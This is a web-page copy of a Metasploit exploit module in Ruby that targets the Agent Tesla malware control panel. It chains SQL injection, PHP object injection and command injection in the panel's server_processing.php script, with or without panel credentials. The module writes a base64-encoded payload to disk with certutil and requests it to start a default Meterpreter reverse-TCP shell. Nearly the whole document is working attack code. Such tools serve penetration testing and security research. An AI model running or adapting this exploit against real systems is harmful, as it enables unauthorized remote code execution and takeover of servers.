Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/agent_tesla_panel_rce.rb
32698 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Agent Tesla Panel Remote Code Execution',
18
'Description' => %q{
19
This module exploits a command injection vulnerability within the Agent Tesla control panel,
20
in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain
21
remote code execution on affected hosts.
22
23
Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to
24
gain remote code execution as user running the web server. Agent Tesla panels released on or after
25
this date can still be exploited however, provided that attackers have valid credentials for the
26
Agent Tesla control panel.
27
28
Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.
29
Support for Linux may be added in a future update, but could not be confirmed during testing.
30
},
31
'Author' => [
32
'Ege Balcı <[email protected]>', # discovery and independent module
33
'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE
34
'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit
35
],
36
'References' => [
37
['EDB', '47256'], # Original PoC and Metasploit module
38
['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download
39
['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.
40
['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla
41
],
42
'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.
43
'License' => MSF_LICENSE,
44
'Privileged' => false,
45
'Targets' => [
46
[
47
'Automatic (PHP-Dropper)', {
48
'Platform' => 'php',
49
'Arch' => [ARCH_PHP],
50
'Type' => :php_dropper,
51
'DefaultOptions' => {
52
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
53
'DisablePayloadHandler' => 'false'
54
}
55
}
56
],
57
],
58
'DefaultTarget' => 0,
59
'Notes' => {
60
'Stability' => [CRASH_SAFE],
61
'Reliability' => [REPEATABLE_SESSION],
62
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
63
}
64
)
65
)
66
67
register_options([
68
OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),
69
OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),
70
OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])
71
])
72
end
73
74
def os_get_name
75
response = parse_response(execute_command('echo $PATH'))
76
77
## Not linux, check Windows.
78
response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')
79
80
os_name = ''
81
if response =~ %r{^/}
82
os_name = 'linux'
83
elsif response =~ /^[a-zA-Z]:\\/
84
os_name = 'windows'
85
end
86
87
os_name
88
end
89
90
def parse_response(js)
91
return '' unless js
92
93
begin
94
return js.get_json_document['data'][0].values.join
95
rescue NoMethodError
96
return ''
97
end
98
return ''
99
end
100
101
def execute_command(command, _opts = {})
102
junk = rand(1_000)
103
sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")
104
requested_payload = {
105
'table' => 'passwords',
106
'primary' => 'HWID',
107
'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',
108
'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")
109
}
110
cookie = auth_get_cookie
111
112
request = {
113
'method' => 'GET',
114
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
115
}
116
request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth
117
request = request.merge({
118
'encode_params' => true,
119
'vars_get' => requested_payload
120
})
121
122
response = send_request_cgi(request)
123
return false unless response
124
125
return response if response.body
126
127
false
128
end
129
130
def auth_get_cookie
131
if datastore['USERNAME'] && datastore['PASSWORD']
132
response = send_request_cgi(
133
'method' => 'POST',
134
'uri' => normalize_uri(target_uri.path, 'login.php'),
135
'vars_post' => {
136
'Username' => datastore['USERNAME'],
137
'Password' => datastore['PASSWORD']
138
}
139
)
140
return :not_auth unless response
141
142
return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/
143
end
144
145
:not_auth
146
end
147
148
def check
149
# check for login credentials couple.
150
if datastore['USERNAME'] && datastore['PASSWORD'].nil?
151
fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
152
end
153
154
if datastore['PASSWORD'] && datastore['USERNAME'].nil?
155
fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
156
end
157
158
response = send_request_cgi(
159
'method' => 'GET',
160
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
161
)
162
163
if response
164
if response.redirect? && response.headers['location'] =~ /login.php/ && !(datastore['USERNAME'] && datastore['PASSWORD'])
165
print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
166
return Exploit::CheckCode::Unknown
167
end
168
169
rand_str = Rex::Text.rand_text_alpha(8..16)
170
cmd_output = parse_response(execute_command("echo #{rand_str}"))
171
172
return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)
173
end
174
175
Exploit::CheckCode::Safe
176
end
177
178
def exploit
179
os = os_get_name
180
unless os
181
print_bad('Could not determine the targeted operating system.')
182
return Msf::Exploit::Failed
183
end
184
print_status("Targeted operating system is: #{os}")
185
186
file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"
187
case os
188
when /linux/
189
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
190
when /windows/
191
cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"
192
end
193
print_status("Sending #{datastore['PAYLOAD']} command payload")
194
vprint_status("Generated command payload: #{cmd}")
195
196
response = execute_command(cmd)
197
unless response && response.code == 200 && response.body.include?('command completed successfully')
198
fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')
199
end
200
if os == 'windows'
201
panel_uri = datastore['TARGETURI'].gsub('/', '\\')
202
print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
203
register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
204
else
205
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")
206
end
207
208
# Triggering payload.
209
send_request_cgi({
210
'method' => 'GET',
211
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)
212
}, 2.5)
213
end
214
end
215
216